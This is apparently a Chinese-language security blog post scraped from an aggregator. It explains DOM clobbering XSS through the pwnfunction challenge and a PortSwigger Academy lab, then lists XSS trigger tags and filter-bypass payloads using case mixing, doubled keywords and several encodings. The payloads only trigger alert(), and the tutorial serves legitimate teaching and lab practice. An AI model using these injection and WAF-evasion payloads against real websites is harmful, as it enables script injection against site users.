当前位置: 首页 > news >正文

xss之DOM破坏

文章目录

  • DOM破坏
  • 漏洞的复现
    • https://xss.pwnfunction.com/
    • 基于bp学院DOM破坏漏洞复现
    • 思路分析
    • 实现
  • 常见的xss触发的标签
    • 没有过滤的情况
    • 存在过滤的情况

DOM破坏

DOM破坏就是⼀种将 HTML 代码注⼊⻚⾯中以操纵 DOM 并最终更改⻚⾯上 JavaScript ⾏为的技术。 在⽆法直接 XSS的情况下,我们就可以往这⽅向考虑。

漏洞的复现

https://xss.pwnfunction.com/

在这里插入图片描述
GET参数boomer被设置为boomer.innerHTML,通过get参数将内容写入h2标签内,而且有过滤框架DOMPurify

setTimeout可以接受函数或字符串作为参数并执行它。在这里,ok变量被执行,但它不存在。

这里的JS代码是没有任何关于ok参数的定义的,所以我们可以使用DOM破坏,通过DOM破坏,将HTML元素注入到DOM中。

创建JavaScript变量构造ok参数,因为setTimeout函数执行字符串,所以需要用到或者标签
构造pyload

<a id=ok href="tel:alert(1)">a

基于bp学院DOM破坏漏洞复现

在这里插入图片描述

思路分析

在这里插入图片描述
分析代码可以看到可以用DOM破坏来控制window.defaultAvatar ,前提是我们原来没有头像然后就可以可以⽤⼀个构造⼀个defaultAvatar.avatar 来进行xss攻击。
我们来举个例子

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="1:&quot;οnerrοr=alert(1)//">

在这里插入图片描述
当输出 console.log(defaultAvatar)发现是一个数组,那就简单了,我们直接输出 console.log(defaultAvatar.avatar)发现输出的是a标签里面得内容。
在这里插入图片描述
我们在用alert方法打印一下defaultAvatar.avatar发现进行了弹窗,说明将href中的数据拿了出来。
在这里插入图片描述

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;οnerrοr=alert(1)//">

我们再来分析一下这段代码
当我们看源码的时候发现src需要用双引号来进行闭合,但是注意一点的是"必须要用html的实体编码。当执行之后&quot就会被解析成了"实现了闭合。
为什么用cid这个伪协议呢,我们来举个例子
在这里插入图片描述
在这里插入图片描述
我们发现弹出了整个的url地址,因为是url地址所以&quot被解析成了%22
当我们用一个从来没有的协议
在这里插入图片描述

在这里插入图片描述
我们发现弹出的仅仅是href里面得内容,并且&quot也成功的解析成了"

实现

我们随便打开一个评论进行评论
在这里插入图片描述

提交之后再随便的评论一下发现触发了弹窗。
在这里插入图片描述

常见的xss触发的标签

没有过滤的情况

//<script>
<scirpt>alert("xss");</script>
//img
图片加载错误时触发
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
鼠标指针移动到元素时触发
<img src=1 onmouseover="alert(1)">
鼠标指针移出时触发
<img src=1 onmouseout="alert(1)">
//<a>
<a href=javascript:alert('xss')>test</a>
<a href="" onclick=alert('xss')>a</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
//<input>
<input onfocus="alert('xss');">
竞争焦点,从而触发onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input onfocus="alert('xss');" autofocus>
//<svg>
<svg onload=alert(1)>
//javascript伪协议
<a>标签
<a href="javascript:alert('xss');">xss</a>
<iframe>标签
<iframe src=javascript:alert('xss');></iframe>
<img>标签
<img src=javascript:alert('xss')>//IE7以下
<form>标签
<form action="Javascript:alert(1)"><input type=submit>

存在过滤的情况

//过滤空格
用 / 代替空格
<img/src="x"/onerror=alert("xss");>
//过滤关键字
大小写绕过
<ImG sRc=x onerRor=alert("xss");>
双写关键字(有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过)
<imimgg srsrcc=x onerror=alert("xss");>
字符拼接(利用eval)
<img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)">
//编码绕过
Unicode编码绕过
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
Hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
//过滤双引号,单引号
如果是html标签中,我们可以不用引号;如果是在js中,我们可以用反引号代替单双引号
<img src="x" onerror=alert(``xss``);>
//过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.οnerrοr=eval;throw'=alert\x281\x29';">

http://www.mrgr.cn/news/1087.html

相关文章:

  • 产线一直在用的 RabbitMQ 搭建教程(含负载均衡配置,验证脚本,监控案例),偷偷抄出来的,建议收藏备用
  • CSS image-set()函数与多倍图设置
  • 【Linux】系列入门摘抄笔记-8-权限管理chmod/chown
  • 初识Linux · 基本指令(2)
  • Shell参考 - Linux Shell 训练营
  • Servlet---axios框架 ▎路由守卫
  • k8s 进阶实战笔记 | Ingress-traefik(一)
  • 虚拟机可以玩Steam游戏吗?虚拟机怎么玩Steam Windows游戏 PD19虚拟机玩Steam
  • 望繁信科技荣膺上海市浦东新区博士后创新实践基地称号
  • Day42 | 739. 每日温度 496.下一个更大元素 I 503.下一个更大元素II
  • Docker-制作镜像
  • 延迟加载JS有哪些方式
  • Python | Leetcode Python题解之第350题两个数组的交集II
  • C# 中 Grpc服务端调用客户端方法
  • SQL-约束篇
  • Git入门 -- 区域详解
  • 《第十九章 多媒体 - 摄像头与相册》
  • 【信创】双系统下删除Windows只保留麒麟系统
  • 如何优雅的薅羊毛之Flux.1免费使用还支持中文prompt
  • 01_React简介、基础入门